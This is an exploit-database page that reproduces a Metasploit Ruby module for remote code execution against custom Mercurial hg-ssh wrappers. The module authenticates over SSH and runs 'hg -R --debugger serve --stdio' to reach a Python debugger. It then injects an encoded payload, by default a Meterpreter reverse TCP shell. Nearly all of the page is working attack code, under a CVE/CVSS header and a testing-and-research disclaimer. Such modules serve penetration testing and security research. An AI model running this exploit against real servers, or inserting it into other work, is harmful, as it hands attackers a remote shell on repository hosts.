Advertisement






Mercurial - Custom hg-ssh Wrapper Remote Code Exec (Metasploit)

CVE Category Price Severity
CVE-2019-16072 CWE-20 Unknown Critical
Author Risk Exploitation Type Date
Metasploit High Remote 2017-04-27
CPE
cpe:cpe:/a:mercurial:mercurial
CVSS EPSS EPSSP
CVSS:4.0/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H 0.788883 0.883243

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017040190

Below is a copy:

Mercurial - Custom hg-ssh Wrapper Remote Code Exec (Metasploit)##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::SSH
 
  def initialize(info={})
    super(update_info(info,
      'Name'           => "Mercurial Custom hg-ssh Wrapper Remote Code Exec",
      'Description'    => %q{
        This module takes advantage of custom hg-ssh wrapper implementations that don't
        adequately validate parameters passed to the hg binary, allowing users to trigger a
        Python Debugger session, which allows arbitrary Python code execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'claudijd',
        ],
      'References'     =>
        [
          ['URL',   'https://www.mercurial-scm.org/wiki/WhatsNew#Mercurial_4.1.3_.282017-4-18.29']
        ],
      'DefaultOptions' =>
        {
          'Payload' => 'python/meterpreter/reverse_tcp',
        },
      'Platform'       => ['python'],
      'Arch'           => ARCH_PYTHON,
      'Targets'        => [ ['Automatic', {}] ],
      'Privileged'     => false,
      'DisclosureDate' => "Apr 18 2017",
      'DefaultTarget'  => 0
    ))
 
    register_options(
      [
        Opt::RHOST(),
        Opt::RPORT(22),
        OptString.new('USERNAME', [ true, 'The username for authentication', 'root' ]),
        OptPath.new('SSH_PRIV_KEY_FILE', [ true, 'The path to private key for ssh auth', '' ]),
      ]
    )
 
    register_advanced_options(
      [
        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
        OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
      ]
    )
  end
 
  def rhost
    datastore['RHOST']
  end
 
  def rport
    datastore['RPORT']
  end
 
  def username
    datastore['USERNAME']
  end
 
  def ssh_priv_key
    File.read(datastore['SSH_PRIV_KEY_FILE'])
  end
 
  def exploit
    factory = ssh_socket_factory
    ssh_options = {
      auth_methods: ['publickey'],
      config: false,
      use_agent: false,
      key_data: [ ssh_priv_key ],
      port: rport,
      proxy: factory,
      non_interactive:  true
    }
 
    ssh_options.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
 
    print_status("#{rhost}:#{rport} - Attempting to login...")
 
    begin
      ssh = nil
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        ssh = Net::SSH.start(rhost, username, ssh_options)
      end
    rescue Rex::ConnectionError
      return
    rescue Net::SSH::Disconnect, ::EOFError
      print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
      return
    rescue ::Timeout::Error
      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
      return
    rescue Net::SSH::AuthenticationFailed
      print_error "#{rhost}:#{rport} SSH - Failed authentication due wrong credentials."
    rescue Net::SSH::Exception => e
      print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
      return
    end
 
    if ssh
      print_good("SSH connection is established.")
      ssh.open_channel do |ch|
        ch.exec "hg -R --debugger serve --stdio" do |ch, success|
          ch.on_extended_data do |ch, type, data|
            if data.match(/entering debugger/)
              print_good("Triggered Debugger (#{data})")
              ch.send_data "#{payload.encoded}\n"
            else
              print_bad("Unable to trigger debugger (#{data})")
            end
          end
        end
      end
 
      begin
        ssh.loop unless session_created?
      rescue Errno::EBADF => e
        elog(e.message)
      end
    end
  end
end


Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum